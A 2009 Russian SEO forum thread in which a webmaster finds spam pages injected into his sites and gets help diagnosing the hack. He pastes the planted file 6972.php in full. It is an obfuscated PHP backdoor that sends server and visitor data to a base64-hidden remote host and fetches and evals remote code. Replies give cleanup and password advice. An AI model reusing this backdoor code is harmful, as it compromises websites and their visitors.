Яндекс нашел левые страницы в папке с хэшем!!!

Вид для печати

07.10.2009, 16:06
Ростовчанин

Яндекс нашел левые страницы в папке с хэшем!!!

У меня в последние пару-тройку недель появилась следующая тенденция - сначала в индексе Яндекса на моих сайтах появляется несколько сотен новых страниц, а затем, через 2-3 Апа сайт выпадает из индекса.

К сожалению, мысль о том, что эти два процесса взаимосвязаны пришла ко мне не сразу.

Зато каково было моё удивление, когда сегодня я через Яндекс-вебмастер решил посмотреть, что это за страницы такие массово добавляются к моим сайтам. Выяснилось, что страницы эти лежат в папке с ХЭШем Линкфида! При чём страниц этих Яндекс загрузил от 1500 до 2500 по разным сайтам!!!
При этом ссылок Линкфида на данных сайтах размещено где 500, а где и всего 5.

При просмотре через FTP ничего лишнего в папке увидеть не удалось.
Попытка просмотреть проиндексированные Яндексом "левые" страницы тоже ничего кроме ошибки 404 не дала. НО Яндекс позволяет просмотреть сохранённые копии этих страниц.
Вот пример такой страницы: http://www.mavrikyi.ru/kennwort.htm

Левые страницы Яндекс видит ТОЛЬКО в папке ХЭШа Линкфида.

У кого наблюдается что-то подобное и кто может подсказать, что это и как с этой бедой бороться?
07.10.2009, 16:10
lerko

Проверьте свой .htaccess на предмет посторонних записей, смените все пароли и закройте папку с кодом LF в robots.txt
07.10.2009, 16:19
Ростовчанин

Цитата:

Сообщение от lerko

Проверьте свой .htaccess на предмет посторонних записей, смените все пароли и закройте папку с кодом LF в robots.txt

В корневом .htaccess посторонних записей нет. А тот, что в папке ХЭШа содержит две строки:

Options -MultiViews
ErrorDocument 404 //хэш/6972.php

Здесь мне трудно сказать лишние эти записи или нет, поскольку структура этого файла мне не известна.

А если закрыть папку LF в robots.txt разве ссылки Линкфида в ERROR не выпадут?
07.10.2009, 16:25
lerko

Цитата:

Сообщение от Ростовчанин

В корневом .htaccess посторонних записей нет. А тот, что в папке ХЭШа содержит две строки:

Options -MultiViews
ErrorDocument 404 //хэш/6972.php

Здесь мне трудно сказать лишние эти записи или нет, поскольку структура этого файла мне не известна.

А если закрыть папку LF в robots.txt разве ссылки Линкфида в ERROR не выпадут?

1. В папке с хешем линкфида по умолчанию нет файла htaccess !!!
2. Не выпадут

Огласите содержимое файла 6972.php, похоже хакерская вставка
07.10.2009, 16:30
Ростовчанин

Цитата:

Сообщение от lerko

1. В папке с хешем линкфида по умолчанию нет файла htaccess !!!
2. Не выпадут

Огласите содержимое файла 6972.php, похоже хакерская вставка

Вот содержимое 6972.php:

PHP код:

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="df381a614ab89ebe1664130522dce31c") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

p.s. Мои познания в php слишком поверхностны, чтобы понимать этот текст.
07.10.2009, 17:04
lerko

Мои тоже :), может кто разбирающийся посмотрит...
Сносите нахрен это левый htaccess вместе с этим файлом и не забудьте также все рекомендации, приведенные выше. Просмотрите и другие папки сайта на предмет подобных файлов.
07.10.2009, 17:41
Ростовчанин

Цитата:

Сообщение от lerko

Мои тоже :), может кто разбирающийся посмотрит...
Сносите нахрен это левый htaccess вместе с этим файлом и не забудьте также все рекомендации, приведенные выше. Просмотрите и другие папки сайта на предмет подобных файлов.

Уже занимаюсь. Жаль, что поздно кинулся. За последние несколько дней Яндекс подобавлял практически ко ВСЕМ моим сайтам по нескольку сотен страниц в индекс из папки с ХЭШем линкфида. Судя по тому, что в предыдущих случаях это приводило к скорому бану сайта, ничего хорошего им уже не светит. :(
07.10.2009, 22:25
FreeCat

Ростовчанин
lerko

Цитата:

похоже хакерская вставка

... может и хакерская, но единственный параметр, котоый не получается извне, а прописан в скрипте - это rssnews.ws. Узнавайте кто владелец и пр. :p .
08.10.2009, 18:25
covenant

Я думаю -поломали Вас красиво. У меня была тут недавно на одной из площадок вообще "сказка", прописался червь файлом, что-то вроде dblinks.php.
08.10.2009, 23:38
Ростовчанин

Цитата:

Сообщение от covenant

Я думаю -поломали Вас красиво. У меня была тут недавно на одной из площадок вообще "сказка", прописался червь файлом, что-то вроде dblinks.php.

Поломали красиво - это факт. Подробности взлома таковы: в одном из моих аккаунтов на хостинге во все папки всех доменов с правами 777 в течение одной минуты закинули по 2 файла. Очевидно - каким-то скриптом. Был ли при этом взломан пароль FTP или у злоумышленника просто был откуда-то список моих сайтов из этого аккаунта для меня остаётся неясным. Насколько я понимаю, для вброса файлов в папки с правами 777 не обязательно знать логин и пароль FTP.

Папка с ХЭШем Линкфида у меня имеет как раз такие права. В некоторые другие папки эти файлы тоже попали, но почему-то Яндекс увидел только страницы в папке Линкфида.

Буду пробовать переставлять права на всех папках на 755.
09.10.2009, 07:02
lerko

Цитата:

Сообщение от Ростовчанин

Поломали красиво - это факт. Подробности взлома таковы: в одном из моих аккаунтов на хостинге во все папки всех доменов с правами 777 в течение одной минуты закинули по 2 файла. Очевидно - каким-то скриптом. Был ли при этом взломан пароль FTP или у злоумышленника просто был откуда-то список моих сайтов из этого аккаунта для меня остаётся неясным. Насколько я понимаю, для вброса файлов в папки с правами 777 не обязательно знать логин и пароль FTP.

Папка с ХЭШем Линкфида у меня имеет как раз такие права. В некоторые другие папки эти файлы тоже попали, но почему-то Яндекс увидел только страницы в папке Линкфида.

Буду пробовать переставлять права на всех папках на 755.

Права здесь не причем, закинуть, кроме фтп, можно через аккаунт хостера (обычно там есть файл-менеджер), через админку движка, там тоже бывают файл-менеджеры и редакторы. Так что меняйте везде пароли и нигде их не сохраняйте(браузер, фтп-менеджер)